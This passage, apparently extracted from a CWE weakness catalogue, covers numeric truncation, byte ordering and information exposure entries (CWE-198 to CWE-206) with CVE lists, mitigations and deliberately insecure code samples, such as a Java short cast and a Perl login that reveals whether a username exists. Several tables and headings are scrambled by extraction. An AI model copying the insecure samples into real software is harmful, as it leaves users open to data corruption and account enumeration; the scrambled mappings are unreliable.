This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

**Example 2:**
In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments.

**Java Example:**

```java
Bad Code
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // convert integer values to short, the method for the
    // sales object requires the parameters to be of type short
    short count = (short) productCount;
    short sold = (short) amountSold;
    // update sales database for product
    sales.updateSalesCount(productID, count, sold);
}
...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a larger size primitive type to a smaller size primitive type should be prevented.

The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

**Java Example:**

```java
Good Code
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // make sure that integer numbers are not greater than
    // maximum value for type short before converting
    if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
        // convert integer values to short, the method for the
        // sales object requires the parameters to be of type short
        short count = (short) productCount;
        short sold = (short) amountSold;
        // update sales database for product
        sales.updateSalesCount(productID, count, sold);
    } else {
        // throw exception or perform other processing
        ...
    }
}
...
```

**Observed Examples**
CWE-198: Use of Incorrect Byte Ordering

Weakness ID: 198 (Weakness Base)  Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not account for byte ordering (e.g., big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

Time of Introduction
CWE Version 2.11
CWE-199: Information Management Errors

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity

Unexpected state

Detection Methods

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>189</td>
<td>Numeric Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>

Research Gaps

Under-reported.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Numeric Byte Ordering Error</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO12-J</td>
<td>Provide methods to read and write little-endian data</td>
</tr>
</tbody>
</table>

CWE-199: Information Management Errors

Category ID: 199 (Category)

Status: Draft

Description

Summary

Weaknesses in this category are related to improper handling of sensitive information.

Applicable Platforms

Languages
- All

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>779</td>
<td>Logging of Excessive Data</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-200: Information Exposure

Weakness ID: 200 (Weakness Class)

Status: Incomplete

Description

Summary

An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

Extended Description

The information either

- is regarded as sensitive within the product's own functionality, such as a private message; or
provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.

Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.

**Alternate Terms**

**Information Leak**
This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

**Information Disclosure**
This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Architectural Paradigms**
- Mobile Application

**Common Consequences**

**Confidentiality**
Read application data

**Likelihood of Exploit**
High

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Inter-application Flow Analysis

**Dynamic Analysis with automated results interpretation**

**SOAR High**
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Web Application Scanner
- Web Services Scanner
- Database Scanners
Dynamic Analysis with manual results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Fuzz Tester
  Framework-based Fuzzer
  Automated Monitored Execution
  Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual
  machine, see if it does anything suspicious

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  Source code Weakness Analyzer

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Attack Modeling
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Potential Mitigations

Architecture and Design

Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously
drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when
interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design and that the
compartmentalization serves to allow for and further reinforce privilege separation functionality.
Architects and designers should rely on the principle of least privilege to decide when it is
appropriate to use and to drop system privileges.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>199</td>
<td>Information Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1116</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>388</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>389</td>
</tr>
</tbody>
</table>
### CWE-200: Information Exposure

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>213</td>
<td>Intentional Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>214</td>
<td>Information Exposure Through Process Environment</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>524</td>
<td>Information Exposure Through Caching</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>598</td>
<td>Information Exposure Through Query Strings in GET Request</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>612</td>
<td>Information Exposure Through Indexing of Private Data</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Information Leakage and Improper Error Handling</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>WASC</td>
<td>13</td>
<td></td>
<td>Information Leakage</td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
</tr>
<tr>
<td>22</td>
<td>Exploiting Trust in Client</td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>116</td>
<td>Excavation</td>
</tr>
<tr>
<td>117</td>
<td>Interception</td>
</tr>
<tr>
<td>169</td>
<td>Footprinting</td>
</tr>
<tr>
<td>224</td>
<td>Fingerprinting</td>
</tr>
<tr>
<td>472</td>
<td>Browser Fingerprinting</td>
</tr>
<tr>
<td>616</td>
<td>Establish Rogue Location</td>
</tr>
</tbody>
</table>

#### References


[387]
CWE-201: Information Exposure Through Sent Data

**Description**

**Summary**

The accidental exposure of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Read files or directories
- Read memory
- Read application data
  - Sensitive data may be exposed to attackers.

**Demonstrative Examples**

The following is an actual MySQL error statement:

**SQL Example:**

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

**Potential Mitigations**

**Requirements**

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

**Implementation**

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

**System Configuration**

Setup default error messages so that unexpected errors do not disclose sensitive information.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-202: Exposure of Sensitive Data Through Data Queries

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Accidental leaking of sensitive information through sent data</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>12</td>
<td>Choosing Message Identifier</td>
<td></td>
</tr>
<tr>
<td>217</td>
<td>Exploiting Incorrectly Configured SSL</td>
<td></td>
</tr>
<tr>
<td>612</td>
<td>WiFi MAC Address Tracking</td>
<td></td>
</tr>
<tr>
<td>613</td>
<td>WiFi SSID Tracking</td>
<td></td>
</tr>
<tr>
<td>618</td>
<td>Cellular Broadcast Message Request</td>
<td></td>
</tr>
<tr>
<td>619</td>
<td>Signal Strength Tracking</td>
<td></td>
</tr>
<tr>
<td>621</td>
<td>Analysis of Packet Timing and Sizes</td>
<td></td>
</tr>
<tr>
<td>618</td>
<td>WiFi SSID Tracking</td>
<td></td>
</tr>
<tr>
<td>622</td>
<td>Electromagnetic Side-Channel Attack</td>
<td></td>
</tr>
<tr>
<td>623</td>
<td>Compromising Emanations Attack</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-202: Exposure of Sensitive Data Through Data Queries**

**Weakness ID:** 202 (Weakness Variant)  
**Status:** Draft

**Description**

**Summary**

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

**Extended Description**

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Read files or directories
- Read application data

Sensitive information may possibly be leaked through data queries accidentally.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

See the book Translucent Databases for examples.

**Potential Mitigations**

**Architecture and Design**

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699 384</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
<td>1000 623</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>967</td>
<td>SFP Secondary Cluster: State Disclosure</td>
<td>888 1384</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
<td>1000 388</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE-203: Information Exposure Through Discrepancy

### Description

**Summary**

The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Access Control**

**Read application data**

**Bypass protection mechanism**

An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.

### Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

**Perl Example:**

```perl
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    } else
    {
        print "Login Failed - incorrect password";
    }
} else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

"Login Failed - incorrect username or password"

### Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1117</td>
<td>Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.</td>
</tr>
<tr>
<td>CVE-2001-1387</td>
<td>Product may generate different responses than specified by the administrator, possibly leading to an information leak.</td>
</tr>
<tr>
<td>CVE-2001-1483</td>
<td>Enumeration of valid usernames based on inconsistent responses</td>
</tr>
<tr>
<td>CVE-2001-1528</td>
<td>Account number enumeration via inconsistent responses.</td>
</tr>
<tr>
<td>CVE-2002-0514</td>
<td>Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.</td>
</tr>
<tr>
<td>CVE-2002-0515</td>
<td>Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.</td>
</tr>
<tr>
<td>CVE-2002-2094</td>
<td>This, and others, use &quot;.&quot; attacks and monitor error responses, so there is overlap with directory traversal.</td>
</tr>
<tr>
<td>CVE-2003-0078</td>
<td>SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the &quot;Vaudenay timing attack.&quot;</td>
</tr>
<tr>
<td>CVE-2003-0190</td>
<td>Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.</td>
</tr>
<tr>
<td>CVE-2003-0637</td>
<td>Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.</td>
</tr>
<tr>
<td>CVE-2004-0243</td>
<td>Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.</td>
</tr>
<tr>
<td>CVE-2004-0294</td>
<td>Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.</td>
</tr>
<tr>
<td>CVE-2004-0778</td>
<td>Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.</td>
</tr>
<tr>
<td>CVE-2004-1428</td>
<td>FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.</td>
</tr>
<tr>
<td>CVE-2004-1602</td>
<td>FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.</td>
</tr>
<tr>
<td>CVE-2004-2150</td>
<td>User enumeration via discrepancies in error messages.</td>
</tr>
<tr>
<td>CVE-2005-0918</td>
<td>Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.</td>
</tr>
<tr>
<td>CVE-2005-1650</td>
<td>User enumeration via discrepancies in error messages.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartimentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
Implementation
Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.
If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th></th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>200</td>
<td>Information Exposure</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
<td>699</td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>711</td>
<td>1122</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>967</td>
<td>SFP Secondary Cluster: State Disclosure</td>
<td>888</td>
<td>1384</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>204</td>
<td>Response Discrepancy Information Exposure</td>
<td>699</td>
<td>392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
<td>699</td>
<td>394</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
<td>699</td>
<td>396</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Discrepancy Information Leaks</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Information Leakage and Improper Error Handling</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Improper Error Handling</td>
</tr>
</tbody>
</table>

CWE-204: Response Discrepancy Information Exposure

Description

Summary
The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor’s control sphere.

Extended Description
This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
- Confidentiality
- Access Control
- Read application data
- Bypass protection mechanism
Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Perl Example:

```perl
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
    { if (IsValidPassword($username, $password) == 1)
        { print "Login Successful";
        }
        else
        { print "Login Failed - incorrect password";
        }
    }
else
    { print "Login Failed - unknown username";
    }
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

```
"Login Failed - incorrect username or password"
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1387</td>
<td>Product may generate different responses than specified by the administrator, possibly leading to an information leak.</td>
</tr>
<tr>
<td>CVE-2001-1483</td>
<td>Enumeration of valid usernames based on inconsistent responses</td>
</tr>
<tr>
<td>CVE-2001-1528</td>
<td>Account number enumeration via inconsistent responses.</td>
</tr>
<tr>
<td>CVE-2002-0514</td>
<td>Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.</td>
</tr>
<tr>
<td>CVE-2002-0515</td>
<td>Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.</td>
</tr>
<tr>
<td>CVE-2002-2094</td>
<td>This, and others, use &quot;..&quot; attacks and monitor error responses, so there is overlap with directory traversal.</td>
</tr>
<tr>
<td>CVE-2004-0243</td>
<td>Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.</td>
</tr>
<tr>
<td>CVE-2004-0294</td>
<td>Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.</td>
</tr>
<tr>
<td>CVE-2004-0778</td>
<td>Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.</td>
</tr>
<tr>
<td>CVE-2004-1428</td>
<td>FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.</td>
</tr>
<tr>
<td>CVE-2004-2150</td>
<td>User enumeration via discrepancies in error messages.</td>
</tr>
<tr>
<td>CVE-2005-1650</td>
<td>User enumeration via discrepancies in error messages.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>203</td>
<td></td>
<td>Information Exposure Through Discrepancy</td>
<td>699  390</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>967</td>
<td>SFP Secondary Cluster: State Disclosure</td>
<td>888  1384</td>
</tr>
</tbody>
</table>

Relationship Notes

can overlap errors related to escalated privileges

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Response discrepancy infoleak</td>
</tr>
</tbody>
</table>

References

CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency

**Description**

**Summary**

Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Access Control
- Read application data
